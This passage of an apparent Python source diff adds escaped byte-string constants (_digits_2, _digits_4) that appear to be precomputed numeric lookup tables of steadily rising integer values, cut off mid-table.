R\r\x00\xddW\r\x00\x8e]\r\x002c\r\x00\xc9h\r\x00Sn\r\x00\xd0s\r\x00Ay\r\x00\xa5~\r\x00\xfc\x83\r\x00G\x89\r\x00\x86\x8e\r\x00\xb8\x93\r\x00\xde\x98\r\x00\xf7\x9d\r\x00\x04\xa3\r\x00\x05\xa8\r\x00\xfa\xac\r\x00\xe3\xb1\r\x00\xc0\xb6\r\x00\x91\xbb\r\x00V\xc0\r\x00\x10\xc5\r\x00\xbd\xc9\r\x00_\xce\r\x00\xf6\xd2\r\x00\x81\xd7\r\x00\x00\xdc\r\x00t\xe0\r\x00\xdd\xe4\r\x00:\xe9\r\x00\x8c\xed\r\x00\xd3\xf1\r\x00\x0f\xf6\r\x00@\xfa\r\x00f\xfe\r\x00\x82\x02\x0e\x00\x92\x06\x0e\x00\x98\n\x0e\x00\x93\x0e\x0e\x00\x83\x12\x0e\x00i\x16\x0e\x00E\x1a\x0e\x00\x16\x1e\x0e\x00\xdd!\x0e\x00\x99%\x0e\x00L)\x0e\x00\xf4,\x0e\x00\x920\x0e\x00\'4\x0e\x00\xb17\x0e\x002;\x0e\x00\xa9>\x0e\x00\x16B\x0e\x00zE\x0e\x00\xd4H\x0e\x00%L\x0e\x00lO\x0e\x00\xaaR\x0e\x00\xdfU\x0e\x00\x0bY\x0e\x00-\\\x0e\x00G_\x0e\x00Wb\x0e\x00_e\x0e\x00^h\x0e\x00Tk\x0e\x00Bn\x0e\x00\'q\x0e\x00\x03t\x0e\x00\xd7v\x0e\x00\xa3y\x0e\x00f|\x0e\x00!\x7f\x0e\x00\xd4\x81\x0e\x00\x7f\x84\x0e\x00!\x87\x0e\x00\xbc\x89\x0e\x00O\x8c\x0e\x00\xda\x8e\x0e\x00]\x91\x0e\x00\xd9\x93\x0e\x00M\x96\x0e\x00\xba\x98\x0e\x00\x1f\x9b\x0e\x00|\x9d\x0e\x00\xd2\x9f\x0e\x00!\xa2\x0e\x00i\xa4\x0e\x00\xaa\xa6\x0e\x00\xe3\xa8\x0e\x00\x16\xab\x0e\x00B\xad\x0e\x00f\xaf\x0e\x00\x84\xb1\x0e\x00\x9b\xb3\x0e\x00\xac\xb5\x0e\x00\xb6\xb7\x0e\x00\xb9\xb9\x0e\x00\xb6\xbb\x0e\x00\xad\xbd\x0e\x00\x9d\xbf\x0e\x00\x86\xc1\x0e\x00j\xc3\x0e\x00G\xc5\x0e\x00\x1f\xc7\x0e\x00\xf0\xc8\x0e\x00\xbb\xca\x0e\x00\x80\xcc\x0e\x00@\xce\x0e\x00\xfa\xcf\x0e\x00\xad\xd1\x0e\x00\\\xd3\x0e\x00\x04\xd5\x0e\x00\xa7\xd6\x0e\x00E\xd8\x0e\x00\xdd\xd9\x0e\x00p\xdb\x0e\x00\xfd\xdc\x0e\x00\x85\xde\x0e\x00\x08\xe0\x0e\x00\x86\xe1\x0e\x00\xff\xe2\x0e\x00r\xe4\x0e\x00\xe1\xe5\x0e\x00J\xe7\x0e\x00\xaf\xe8\x0e\x00\x0f\xea\x0e\x00j\xeb\x0e\x00\xc1\xec\x0e\x00\x12\xee\x0e\x00`\xef\x0e\x00\xa8\xf0\x0e\x00\xec\xf1\x0e\x00,\xf3\x0e\x00g\xf4\x0e\x00\x9e\xf5\x0e\x00\xd0\xf6\x0e\x00\xff\xf7\x0e\x00)\xf9\x0e\x00N\xfa\x0e\x00p\xfb\x0e\x00\x8e\xfc\x0e\x00\xa8\xfd\x0e\x00\xbd\xfe\x0e\x00\xcf\xff\x0e\x00\xdd\x00\x0f\x00\xe7\x01\x0f\x00\xed\x02\x0f\x00\xf0\x03\x0f\x00\xef\x04\x0f\x00\xea\x05\x0f\x00\xe2\x06\x0f\x00\xd6\x07\x0f\x00\xc6\x08\x0f\x00\xb3\t\x0f\x00\x9d\n\x0f\x00\x83\x0b\x0f\x00f\x0c\x0f\x00F\r\x0f\x00"\x0e\x0f\x00\xfb\x0e\x0f\x00\xd1\x0f\x0f\x00\xa4\x10\x0f\x00s\x11\x0f\x00@\x12\x0f\x00\n\x13\x0f\x00\xd0\x13\x0f\x00\x94\x14\x0f\x00U\x15\x0f\x00\x12\x16\x0f\x00\xcd\x16\x0f\x00\x86\x17\x0f\x00;\x18\x0f\x00\xee\x18\x0f\x00\x9e\x19\x0f\x00K\x1a\x0f\x00\xf6\x1a\x0f\x00\x9e\x1b\x0f\x00D\x1c\x0f\x00\xe7\x1c\x0f\x00\x87\x1d\x0f\x00&\x1e\x0f\x00\xc1\x1e\x0f\x00[\x1f\x0f\x00\xf2\x1f\x0f\x00\x86 \x0f\x00\x19!\x0f\x00\xa9!\x0f\x007"\x0f\x00\xc2"\x0f\x00L#\x0f\x00\xd3#\x0f\x00X$\x0f\x00\xdc$\x0f\x00]%\x0f\x00\xdc%\x0f\x00Y&\x0f\x00\xd4&\x0f\x00M\'\x0f\x00\xc4\'\x0f\x00:(\x0f\x00\xad(\x0f\x00\x1f)\x0f\x00\x8f)\x0f\x00\xfd)\x0f\x00i*\x0f\x00\xd4*\x0f\x00=+\x0f\x00\xa4+\x0f\x00\t,\x0f\x00m,\x0f\x00\xcf,\x0f\x000-\x0f\x00\x8f-\x0f\x00\xed-\x0f\x00I.\x0f\x00\xa3.\x0f\x00\xfc.\x0f\x00T/\x0f\x00\xaa/\x0f\x00\xff/\x0f\x00R0\x0f\x00\xa40\x0f\x00\xf50\x0f\x00D1\x0f\x00\x921\x0f\x00\xdf1\x0f\x00*2\x0f\x00t2\x0f\x00\xbd2\x0f\x00\x053\x0f\x00L3\x0f\x00\x913\x0f\x00\xd53\x0f\x00\x184\x0f\x00Z4\x0f\x00\x9b4\x0f\x00\xda4\x0f\x00\x195\x0f\x00W5\x0f\x00\x935\x0f\x00\xcf5\x0f\x00\t6\x0f\x00C6\x0f\x00{6\x0f\x00\xb36\x0f\x00\xe96\x0f\x00\x1f7\x0f\x00S7\x0f\x00\x877\x0f\x00\xba7\x0f\x00\xec7\x0f\x00\x1d8\x0f\x00N8\x0f\x00}8\x0f\x00\xac8\x0f\x00\xda8\x0f\x00\x079\x0f\x0039\x0f\x00^9\x0f\x00\x899\x0f\x00\xb39\x0f\x00\xdc9\x0f\x00\x05:\x0f\x00,:\x0f\x00T:\x0f\x00z:\x0f\x00\xa0:\x0f\x00\xc5:\x0f\x00\xe9:\x0f\x00\r;\x0f\x000;\x0f\x00R;\x0f\x00t;\x0f\x00\x96;\x0f\x00\xb6;\x0f\x00\xd6;\x0f\x00\xf6;\x0f\x00\x15<\x0f\x003<\x0f\x00Q<\x0f\x00n<\x0f\x00\x8b<\x0f\x00\xa7<\x0f\x00\xc3<\x0f\x00\xde<\x0f\x00\xf9<\x0f\x00\x13=\x0f\x00-=\x0f\x00F=\x0f\x00_=\x0f\x00w=\x0f\x00\x8f=\x0f\x00\xa7=\x0f\x00\xbe=\x0f\x00\xd4=\x0f\x00\xeb=\x0f\x00\x00>\x0f\x00\x16>\x0f\x00+>\x0f\x00?>\x0f\x00T>\x0f\x00g>\x0f\x00{>\x0f\x00\x8e>\x0f\x00\xa1>\x0f\x00\xb3>\x0f\x00\xc5>\x0f\x00\xd7>\x0f\x00\xe8>\x0f\x00\xfa>\x0f\x00\n?\x0f\x00\x1b?\x0f\x00+?\x0f\x00;?\x0f\x00J?\x0f\x00Y?\x0f\x00h?\x0f\x00w?\x0f\x00\x85?\x0f\x00\x93?\x0f\x00\xa1?\x0f\x00\xaf?\x0f\x00\xbc?\x0f\x00\xc9?\x0f\x00\xd6?\x0f\x00\xe2?\x0f\x00\xef?\x0f\x00\xfb?\x0f\x00\x07@\x0f\x00\x12@\x0f\x00\x1e@\x0f\x00)@\x0f\x004@\x0f\x00'
+_digits_2 = 'g\x15\x00\x00;\x16\x00\x00\x16\x17\x00\x00\xf9\x17\x00\x00\xe2\x18\x00\x00\xd4\x19\x00\x00\xcd\x1a\x00\x00\xcf\x1b\x00\x00\xd8\x1c\x00\x00\xeb\x1d\x00\x00\x05\x1f\x00\x00) \x00\x00V!\x00\x00\x8c"\x00\x00\xcc#\x00\x00\x16%\x00\x00i&\x00\x00\xc7\'\x00\x000)\x00\x00\xa3*\x00\x00!,\x00\x00\xab-\x00\x00@/\x00\x00\xe10\x00\x00\x8d2\x00\x00G4\x00\x00\x0c6\x00\x00\xdf7\x00\x00\xbe9\x00\x00\xab;\x00\x00\xa6=\x00\x00\xae?\x00\x00\xc5A\x00\x00\xeaC\x00\x00\x1eF\x00\x00aH\x00\x00\xb3J\x00\x00\x15M\x00\x00\x86O\x00\x00\x08R\x00\x00\x9bT\x00\x00>W\x00\x00\xf2Y\x00\x00\xb8\\\x00\x00\x8f_\x00\x00yb\x00\x00te\x00\x00\x83h\x00\x00\xa4k\x00\x00\xd8n\x00\x00 r\x00\x00|u\x00\x00\xecx\x00\x00p|\x00\x00\t\x80\x00\x00\xb7\x83\x00\x00{\x87\x00\x00T\x8b\x00\x00C\x8f\x00\x00H\x93\x00\x00d\x97\x00\x00\x97\x9b\x00\x00\xe1\x9f\x00\x00B\xa4\x00\x00\xbb\xa8\x00\x00L\xad\x00\x00\xf6\xb1\x00\x00\xb8\xb6\x00\x00\x93\xbb\x00\x00\x87\xc0\x00\x00\x95\xc5\x00\x00\xbd\xca\x00\x00\xff\xcf\x00\x00[\xd5\x00\x00\xd1\xda\x00\x00c\xe0\x00\x00\x0f\xe6\x00\x00\xd7\xeb\x00\x00\xbb\xf1\x00\x00\xbb\xf7\x00\x00\xd6\xfd\x00\x00\x0e\x04\x01\x00c\n\x01\x00\xd5\x10\x01\x00d\x17\x01\x00\x10\x1e\x01\x00\xd9$\x01\x00\xc0+\x01\x00\xc62\x01\x00\xe99\x01\x00+A\x01\x00\x8bH\x01\x00\nP\x01\x00\xa8W\x01\x00e_\x01\x00Ag\x01\x00=o\x01\x00Xw\x01\x00\x92\x7f\x01\x00\xed\x87\x01\x00g\x90\x01\x00\x02\x99\x01\x00\xbc\xa1\x01\x00\x97\xaa\x01\x00\x92\xb3\x01\x00\xae\xbc\x01\x00\xea\xc5\x01\x00G\xcf\x01\x00\xc4\xd8\x01\x00b\xe2\x01\x00 \xec\x01\x00\xff\xf5\x01\x00\xff\xff\x01\x00 \n\x02\x00b\x14\x02\x00\xc4\x1e\x02\x00G)\x02\x00\xeb3\x02\x00\xb0>\x02\x00\x95I\x02\x00\x9aT\x02\x00\xc1_\x02\x00\x07k\x02\x00nv\x02\x00\xf6\x81\x02\x00\x9d\x8d\x02\x00e\x99\x02\x00M\xa5\x02\x00T\xb1\x02\x00{\xbd\x02\x00\xc1\xc9\x02\x00\'\xd6\x02\x00\xac\xe2\x02\x00P\xef\x02\x00\x13\xfc\x02\x00\xf5\x08\x03\x00\xf5\x15\x03\x00\x13#\x03\x00O0\x03\x00\xa8=\x03\x00\x1fK\x03\x00\xb4X\x03\x00ef\x03\x003t\x03\x00\x1d\x82\x03\x00#\x90\x03\x00E\x9e\x03\x00\x83\xac\x03\x00\xdb\xba\x03\x00N\xc9\x03\x00\xdc\xd7\x03\x00\x84\xe6\x03\x00E\xf5\x03\x00 \x04\x04\x00\x14\x13\x04\x00 "\x04\x00D1\x04\x00\x81@\x04\x00\xd4O\x04\x00?_\x04\x00\xc0n\x04\x00W~\x04\x00\x04\x8e\x04\x00\xc6\x9d\x04\x00\x9d\xad\x04\x00\x88\xbd\x04\x00\x87\xcd\x04\x00\x99\xdd\x04\x00\xbe\xed\x04\x00\xf5\xfd\x04\x00?\x0e\x05\x00\x99\x1e\x05\x00\x05/\x05\x00\x81?\x05\x00\rP\x05\x00\xa8`\x05\x00Sq\x05\x00\x0b\x82\x05\x00\xd1\x92\x05\x00\xa5\xa3\x05\x00\x85\xb4\x05\x00q\xc5\x05\x00i\xd6\x05\x00l\xe7\x05\x00z\xf8\x05\x00\x91\t\x06\x00\xb2\x1a\x06\x00\xdc+\x06\x00\x0e=\x06\x00HN\x06\x00\x89_\x06\x00\xd1p\x06\x00\x1f\x82\x06\x00r\x93\x06\x00\xca\xa4\x06\x00\'\xb6\x06\x00\x87\xc7\x06\x00\xeb\xd8\x06\x00Q\xea\x06\x00\xb9\xfb\x06\x00#\r\x07\x00\x8e\x1e\x07\x00\xf9/\x07\x00dA\x07\x00\xceR\x07\x007d\x07\x00\x9eu\x07\x00\x03\x87\x07\x00e\x98\x07\x00\xc3\xa9\x07\x00\x1e\xbb\x07\x00s\xcc\x07\x00\xc4\xdd\x07\x00\x0f\xef\x07\x00T\x00\x08\x00\x91\x11\x08\x00\xc8"\x08\x00\xf73\x08\x00\x1eE\x08\x00;V\x08\x00Pg\x08\x00[x\x08\x00[\x89\x08\x00P\x9a\x08\x00;\xab\x08\x00\x19\xbc\x08\x00\xeb\xcc\x08\x00\xb0\xdd\x08\x00h\xee\x08\x00\x13\xff\x08\x00\xaf\x0f\t\x00= \t\x00\xbc0\t\x00+A\t\x00\x8aQ\t\x00\xd9a\t\x00\x17r\t\x00D\x82\t\x00`\x92\t\x00i\xa2\t\x00a\xb2\t\x00E\xc2\t\x00\x17\xd2\t\x00\xd5\xe1\t\x00\x7f\xf1\t\x00\x15\x01\n\x00\x96\x10\n\x00\x02 \n\x00Z/\n\x00\x9c>\n\x00\xc8M\n\x00\xdd\\\n\x00\xddk\n\x00\xc5z\n\x00\x97\x89\n\x00Q\x98\n\x00\xf4\xa6\n\x00\x7f\xb5\n\x00\xf2\xc3\n\x00L\xd2\n\x00\x8e\xe0\n\x00\xb7\xee\n\x00\xc8\xfc\n\x00\xbe\n\x0b\x00\x9c\x18\x0b\x00`&\x0b\x00\n4\x0b\x00\x9aA\x0b\x00\x10O\x0b\x00k\\\x0b\x00\xaci\x0b\x00\xd3v\x0b\x00\xde\x83\x0b\x00\xcf\x90\x0b\x00\xa4\x9d\x0b\x00_\xaa\x0b\x00\xfe\xb6\x0b\x00\x82\xc3\x0b\x00\xea\xcf\x0b\x007\xdc\x0b\x00h\xe8\x0b\x00}\xf4\x0b\x00v\x00\x0c\x00T\x0c\x0c\x00\x15\x18\x0c\x00\xbb#\x0c\x00E/\x0c\x00\xb2:\x0c\x00\x04F\x0c\x009Q\x0c\x00R\\\x0c\x00Pg\x0c\x001r\x0c\x00\xf6|\x0c\x00\x9e\x87\x0c\x00+\x92\x0c\x00\x9c\x9c\x0c\x00\xf0\xa6\x0c\x00)\xb1\x0c\x00F\xbb\x0c\x00G\xc5\x0c\x00+\xcf\x0c\x00\xf5\xd8\x0c\x00\xa2\xe2\x0c\x004\xec\x0c\x00\xaa\xf5\x0c\x00\x04\xff\x0c\x00D\x08\r\x00g\x11\r\x00p\x1a\r\x00]#\r\x000,\r\x00\xe74\r\x00\x84=\r\x00\x06F\r\x00mN\r\x00\xbaV\r\x00\xec^\r\x00\x04g\r\x00\x03o\r\x00\xe7v\r\x00\xb1~\r\x00b\x86\r\x00\xf9\x8d\r\x00w\x95\r\x00\xdc\x9c\r\x00(\xa4\r\x00Z\xab\r\x00t\xb2\r\x00v\xb9\r\x00_\xc0\r\x000\xc7\r\x00\xe9\xcd\r\x00\x8a\xd4\r\x00\x14\xdb\r\x00\x86\xe1\r\x00\xe0\xe7\r\x00$\xee\r\x00P\xf4\r\x00f\xfa\r\x00e\x00\x0e\x00N\x06\x0e\x00!\x0c\x0e\x00\xde\x11\x0e\x00\x84\x17\x0e\x00\x16\x1d\x0e\x00\x92"\x0e\x00\xf9\'\x0e\x00J-\x0e\x00\x872\x0e\x00\xb07\x0e\x00\xc4<\x0e\x00\xc4A\x0e\x00\xafF\x0e\x00\x88K\x0e\x00LP\x0e\x00\xfdT\x0e\x00\x9bY\x0e\x00&^\x0e\x00\x9fb\x0e\x00\x04g\x0e\x00Xk\x0e\x00\x99o\x0e\x00\xc9s\x0e\x00\xe6w\x0e\x00\xf3{\x0e\x00\xed\x7f\x0e\x00\xd7\x83\x0e\x00\xb0\x87\x0e\x00x\x8b\x0e\x000\x8f\x0e\x00\xd7\x92\x0e\x00o\x96\x0e\x00\xf6\x99\x0e\x00n\x9d\x0e\x00\xd6\xa0\x0e\x00/\xa4\x0e\x00y\xa7\x0e\x00\xb4\xaa\x0e\x00\xe0\xad\x0e\x00\xfe\xb0\x0e\x00\x0e\xb4\x0e\x00\x0f\xb7\x0e\x00\x03\xba\x0e\x00\xe9\xbc\x0e\x00\xc1\xbf\x0e\x00\x8c\xc2\x0e\x00J\xc5\x0e\x00\xfb\xc7\x0e\x00\x9f\xca\x0e\x006\xcd\x0e\x00\xc1\xcf\x0e\x00@\xd2\x0e\x00\xb3\xd4\x0e\x00\x1a\xd7\x0e\x00u\xd9\x0e\x00\xc4\xdb\x0e\x00\t\xde\x0e\x00B\xe0\x0e\x00p\xe2\x0e\x00\x93\xe4\x0e\x00\xac\xe6\x0e\x00\xba\xe8\x0e\x00\xbe\xea\x0e\x00\xb7\xec\x0e\x00\xa7\xee\x0e\x00\x8d\xf0\x0e\x00i\xf2\x0e\x00;\xf4\x0e\x00\x05\xf6\x0e\x00\xc5\xf7\x0e\x00{\xf9\x0e\x00)\xfb\x0e\x00\xcf\xfc\x0e\x00k\xfe\x0e\x00\xff\xff\x0e\x00\x8b\x01\x0f\x00\x0f\x03\x0f\x00\x8a\x04\x0f\x00\xfe\x05\x0f\x00j\x07\x0f\x00\xce\x08\x0f\x00+\n\x0f\x00\x80\x0b\x0f\x00\xce\x0c\x0f\x00\x15\x0e\x0f\x00U\x0f\x0f\x00\x8e\x10\x0f\x00\xc1\x11\x0f\x00\xed\x12\x0f\x00\x12\x14\x0f\x001\x15\x0f\x00J\x16\x0f\x00\\\x17\x0f\x00i\x18\x0f\x00o\x19\x0f\x00p\x1a\x0f\x00k\x1b\x0f\x00a\x1c\x0f\x00Q\x1d\x0f\x00<\x1e\x0f\x00!\x1f\x0f\x00\x02 \x0f\x00\xdd \x0f\x00\xb3!\x0f\x00\x85"\x0f\x00Q#\x0f\x00\x19$\x0f\x00\xdd$\x0f\x00\x9c%\x0f\x00V&\x0f\x00\x0c\'\x0f\x00\xbe\'\x0f\x00l(\x0f\x00\x16)\x0f\x00\xbc)\x0f\x00^*\x0f\x00\xfc*\x0f\x00\x96+\x0f\x00-,\x0f\x00\xc0,\x0f\x00P-\x0f\x00\xdc-\x0f\x00e.\x0f\x00\xea.\x0f\x00m/\x0f\x00\xec/\x0f\x00h0\x0f\x00\xe10\x0f\x00W1\x0f\x00\xcb1\x0f\x00;2\x0f\x00\xa92\x0f\x00\x143\x0f\x00|3\x0f\x00\xe23\x0f\x00E4\x0f\x00\xa64\x0f\x00\x045\x0f\x00`5\x0f\x00\xba5\x0f\x00\x116\x0f\x00g6\x0f\x00\xba6\x0f\x00\x0b7\x0f\x00Z7\x0f\x00\xa67\x0f\x00\xf17\x0f\x00:8\x0f\x00\x828\x0f\x00\xc78\x0f\x00\n9\x0f\x00L9\x0f\x00\x8c9\x0f\x00\xcb9\x0f\x00\x08:\x0f\x00C:\x0f\x00|:\x0f\x00\xb5:\x0f\x00\xeb:\x0f\x00!;\x0f\x00T;\x0f\x00\x87;\x0f\x00\xb8;\x0f\x00\xe8;\x0f\x00\x16<\x0f\x00D<\x0f\x00p<\x0f\x00\x9a<\x0f\x00\xc4<\x0f\x00\xed<\x0f\x00\x14=\x0f\x00;=\x0f\x00`=\x0f\x00\x85=\x0f\x00\xa8=\x0f\x00\xca=\x0f\x00\xec=\x0f\x00\x0c>\x0f\x00,>\x0f\x00K>\x0f\x00i>\x0f\x00\x86>\x0f\x00\xa2>\x0f\x00\xbe>\x0f\x00\xd8>\x0f\x00\xf2>\x0f\x00\x0c?\x0f\x00$?\x0f\x00<?\x0f\x00S?\x0f\x00j?\x0f\x00\x80?\x0f\x00\x95?\x0f\x00\xaa?\x0f\x00\xbe?\x0f\x00\xd1?\x0f\x00\xe4?\x0f\x00\xf6?\x0f\x00\x08@\x0f\x00\x1a@\x0f\x00+@\x0f\x00;@\x0f\x00K@\x0f\x00Z@\x0f\x00i@\x0f\x00x@\x0f\x00\x86@\x0f\x00\x94@\x0f\x00\xa1@\x0f\x00\xae@\x0f\x00\xba@\x0f\x00\xc6@\x0f\x00\xd2@\x0f\x00\xde@\x0f\x00\xe9@\x0f\x00\xf4@\x0f\x00\xfe@\x0f\x00\x08A\x0f\x00\x12A\x0f\x00\x1cA\x0f\x00%A\x0f\x00.A\x0f\x007A\x0f\x00?A\x0f\x00GA\x0f\x00OA\x0f\x00WA\x0f\x00^A\x0f\x00fA\x0f\x00mA\x0f\x00sA\x0f\x00zA\x0f\x00\x80A\x0f\x00\x87A\x0f\x00\x8dA\x0f\x00\x93A\x0f\x00\x98A\x0f\x00\x9eA\x0f\x00\xa3A\x0f\x00\xa8A\x0f\x00\xadA\x0f\x00\xb2A\x0f\x00\xb7A\x0f\x00\xbbA\x0f\x00\xbfA\x0f\x00\xc4A\x0f\x00\xc8A\x0f\x00\xccA\x0f\x00\xd0A\x0f\x00\xd3A\x0f\x00\xd7A\x0f\x00\xdaA\x0f\x00\xdeA\x0f\x00\xe1A\x0f\x00\xe4A\x0f\x00\xe7A\x0f\x00\xeaA\x0f\x00\xedA\x0f\x00\xf0A\x0f\x00\xf3A\x0f\x00\xf5A\x0f\x00\xf8A\x0f\x00\xfaA\x0f\x00\xfdA\x0f\x00\xffA\x0f\x00\x01B\x0f\x00\x03B\x0f\x00\x05B\x0f\x00\x07B\x0f\x00\tB\x0f\x00\x0bB\x0f\x00\rB\x0f\x00\x0fB\x0f\x00\x10B\x0f\x00\x12B\x0f\x00\x14B\x0f\x00\x15B\x0f\x00\x17B\x0f\x00\x18B\x0f\x00\x19B\x0f\x00\x1bB\x0f\x00\x1cB\x0f\x00\x1dB\x0f\x00\x1fB\x0f\x00 B\x0f\x00!B\x0f\x00"B\x0f\x00#B\x0f\x00$B\x0f\x00%B\x0f\x00&B\x0f\x00\'B\x0f\x00(B\x0f\x00)B\x0f\x00)B\x0f\x00*B\x0f\x00+B\x0f\x00,B\x0f\x00'
+_digits_4 = '\xfa\x19\x00\x00&\x1b\x00\x00_\x1c\x00\x00\xa4\x1d\x00\x00\xf5\x1e\x00\x00S \x00\x00\xbe!\x00\x007#\x00\x00\xbe$\x00\x00T&\x00\x00\xf8\'\x00\x00\xac)\x00\x00o+\x00\x00C-\x00\x00\'/\x00\x00\x1c1\x00\x00#3\x00\x00<5\x00\x00h7\x00\x00\xa69\x00\x00\xf8;\x00\x00^>\x00\x00\xd8@\x00\x00gC\x00\x00\x0cF\x00\x00\xc7H\x00\x00\x98K\x00\x00\x80N\x00\x00\x80Q\x00\x00\x97T\x00\x00\xc8W\x00\x00\x11[\x00\x00u^\x00\x00\xf2a\x00\x00\x8ae\x00\x00>i\x00\x00\x0em\x00\x00\xfap\x00\x00\x03u\x00\x00*y\x00\x00n}\x00\x00\xd2\x81\x00\x00U\x86\x00\x00\xf8\x8a\x00\x00\xbb\x8f\x00\x00\x9f\x94\x00\x00\xa4\x99\x00\x00\xcc\x9e\x00\x00\x16\xa4\x00\x00\x84\xa9\x00\x00\x15\xaf\x00\x00\xcb\xb4\x00\x00\xa5\xba\x00\x00\xa5\xc0\x00\x00\xcb\xc6\x00\x00\x17\xcd\x00\x00\x8a\xd3\x00\x00$\xda\x00\x00\xe7\xe0\x00\x00\xd2\xe7\x00\x00\xe6\xee\x00\x00$\xf6\x00\x00\x8b\xfd\x00\x00\x1d\x05\x01\x00\xda\x0c\x01\x00\xc2\x14\x01\x00\xd6\x1c\x01\x00\x16%\x01\x00\x82-\x01\x00\x1c6\x01\x00\xe3>\x01\x00\xd8G\x01\x00\xfbP\x01\x00MZ\x01\x00\xcdc\x01\x00|m\x01\x00[w\x01\x00j\x81\x01\x00\xa9\x8b\x01\x00\x18\x96\x01\x00\xb7\xa0\x01\x00\x88\xab\x01\x00\x89\xb6\x01\x00\xbb\xc1\x01\x00\x1f\xcd\x01\x00\xb4\xd8\x01\x00{\xe4\x01\x00t\xf0\x01\x00\x9e\xfc\x01\x00\xfa\x08\x02\x00\x88\x15\x02\x00H"\x02\x00:/\x02\x00^<\x02\x00\xb4I\x02\x00;W\x02\x00\xf4d\x02\x00\xdfr\x02\x00\xfc\x80\x02\x00J\x8f\x02\x00\xc9\x9d\x02\x00y\xac\x02\x00Z\xbb\x02\x00l\xca\x02\x00\xae\xd9\x02\x00 \xe9\x02\x00\xc2\xf8\x02\x00\x93\x08\x03\x00\x93\x18\x03\x00\xc2(\x03\x00\x1f9\x03\x00\xaaI\x03\x00bZ\x03\x00Gk\x03\x00Y|\x03\x00\x96\x8d\x03\x00\x00\x9f\x03\x00\x93\xb0\x03\x00R\xc2\x03\x009\xd4\x03\x00J\xe6\x03\x00\x84\xf8\x03\x00\xe5\n\x04\x00m\x1d\x04\x00\x1b0\x04\x00\xefB\x04\x00\xe8U\x04\x00\x05i\x04\x00F|\x04\x00\xa9\x8f\x04\x00.\xa3\x04\x00\xd3\xb6\x04\x00\x99\xca\x04\x00~\xde\x04\x00\x81\xf2\x04\x00\xa2\x06\x05\x00\xdf\x1a\x05\x007/\x05\x00\xabC\x05\x007X\x05\x00\xddl\x05\x00\x9a\x81\x05\x00o\x96\x05\x00X\xab\x05\x00W\xc0\x05\x00i\xd5\x05\x00\x8e\xea\x05\x00\xc4\xff\x05\x00\x0b\x15\x06\x00b*\x06\x00\xc7?\x06\x009U\x06\x00\xb8j\x06\x00B\x80\x06\x00\xd6\x95\x06\x00\x87\xab\x06\x00\x19\xc1\x06\x00\xc5\xd6\x06\x00w\xec\x06\x00-\x02\x07\x00\xe7\x17\x07\x00\xa4-\x07\x00bC\x07\x00!Y\x07\x00\xden\x07\x00\x9a\x84\x07\x00S\x9a\x07\x00\x08\xb0\x07\x00\xb8\xc5\x07\x00b\xdb\x07\x00\x04\xf1\x07\x00\x9f\x06\x08\x000\x1c\x08\x00\xb71\x08\x002G\x08\x00\xa1\\\x08\x00\x03r\x08\x00V\x87\x08\x00\x9a\x9c\x08\x00\xcd\xb1\x08\x00\xef\xc6\x08\x00\xff\xdb\x08\x00\xfc\xf0\x08\x00\xe4\x05\t\x00\xb8\x1a\t\x00u/\t\x00\x1cD\t\x00\xabX\t\x00!m\t\x00~\x81\t\x00\xc0\x95\t\x00\xe7\xa9\t\x00\xf3\xbd\t\x00\xe2\xd1\t\x00\xb3\xe5\t\x00f\xf9\t\x00\xfb\x0c\n\x00o \n\x00\xc43\n\x00\xf7F\n\x00\tZ\n\x00\xf8l\n\x00\xc5\x7f\n\x00n\x92\n\x00\xf3\xa4\n\x00S\xb7\n\x00\x8e\xc9\n\x00\xa4\xdb\n\x00\x93\xed\n\x00[\xff\n\x00\xfd\x10\x0b\x00v"\x0b\x00\xc83\x0b\x00\xf1D\x0b\x00\xf2U\x0b\x00\xc9f\x0b\x00vw\x0b\x00\xfa\x87\x0b\x00T\x98\x0b\x00\x83\xa8\x0b\x00\x87\xb8\x0b\x00a\xc8\x0b\x00\x0f\xd8\x0b\x00\x91\xe7\x0b\x00\xe9\xf6\x0b\x00\x14\x06\x0c\x00\x13\x15\x0c\x00\xe6#\x0c\x00\x8d2\x0c\x00\x07A\x0c\x00UO\x0c\x00w]\x0c\x00lk\x0c\x004y\x0c\x00\xd0\x86\x0c\x00?\x94\x0c\x00\x81\xa1\x0c\x00\x97\xae\x0c\x00\x80\xbb\x0c\x00=\xc8\x0c\x00\xcd\xd4\x0c\x001\xe1\x0c\x00i\xed\x0c\x00u\xf9\x0c\x00T\x05\r\x00\x08\x11\r\x00\x90\x1c\r\x00\xed\'\r\x00\x1e3\r\x00$>\r\x00\xffH\r\x00\xafS\r\x005^\r\x00\x91h\r\x00\xc2r\r\x00\xca|\r\x00\xa8\x86\r\x00^\x90\r\x00\xea\x99\r\x00M\xa3\r\x00\x88\xac\r\x00\x9c\xb5\r\x00\x87\xbe\r\x00K\xc7\r\x00\xe8\xcf\r\x00_\xd8\r\x00\xaf\xe0\r\x00\xd9\xe8\r\x00\xde\xf0\r\x00\xbd\xf8\r\x00w\x00\x0e\x00\r\x08\x0e\x00\x7f\x0f\x0e\x00\xcd\x16\x0e\x00\xf8\x1d\x0e\x00\xff$\x0e\x00\xe5+\x0e\x00\xa82\x0e\x00I9\x0e\x00\xc9?\x0e\x00(F\x0e\x00gL\x0e\x00\x85R\x0e\x00\x84X\x0e\x00c^\x0e\x00$d\x0e\x00\xc6i\x0e\x00Ko\x0e\x00\xb1t\x0e\x00\xfby\x0e\x00\'\x7f\x0e\x008\x84\x0e\x00,\x89\x0e\x00\x05\x8e\x0e\x00\xc3\x92\x0e\x00g\x97\x0e\x00\xf0\x9b\x0e\x00_\xa0\x0e\x00\xb5\xa4\x0e\x00\xf2\xa8\x0e\x00\x16\xad\x0e\x00"\xb1\x0e\x00\x17\xb5\x0e\x00\xf4\xb8\x0e\x00\xba\xbc\x0e\x00i\xc0\x0e\x00\x02\xc4\x0e\x00\x86\xc7\x0e\x00\xf4\xca\x0e\x00M\xce\x0e\x00\x92\xd1\x0e\x00\xc2\xd4\x0e\x00\xde\xd7\x0e\x00\xe7\xda\x0e\x00\xdd\xdd\x0e\x00\xc0\xe0\x0e\x00\x91\xe3\x0e\x00P\xe6\x0e\x00\xfd\xe8\x0e\x00\x98\xeb\x0e\x00#\xee\x0e\x00\x9d\xf0\x0e\x00\x07\xf3\x0e\x00a\xf5\x0e\x00\xab\xf7\x0e\x00\xe6\xf9\x0e\x00\x12\xfc\x0e\x000\xfe\x0e\x00?\x00\x0f\x00@\x02\x0f\x003\x04\x0f\x00\x19\x06\x0f\x00\xf2\x07\x0f\x00\xbe\t\x0f\x00}\x0b\x0f\x000\r\x0f\x00\xd8\x0e\x0f\x00s\x10\x0f\x00\x03\x12\x0f\x00\x88\x13\x0f\x00\x02\x15\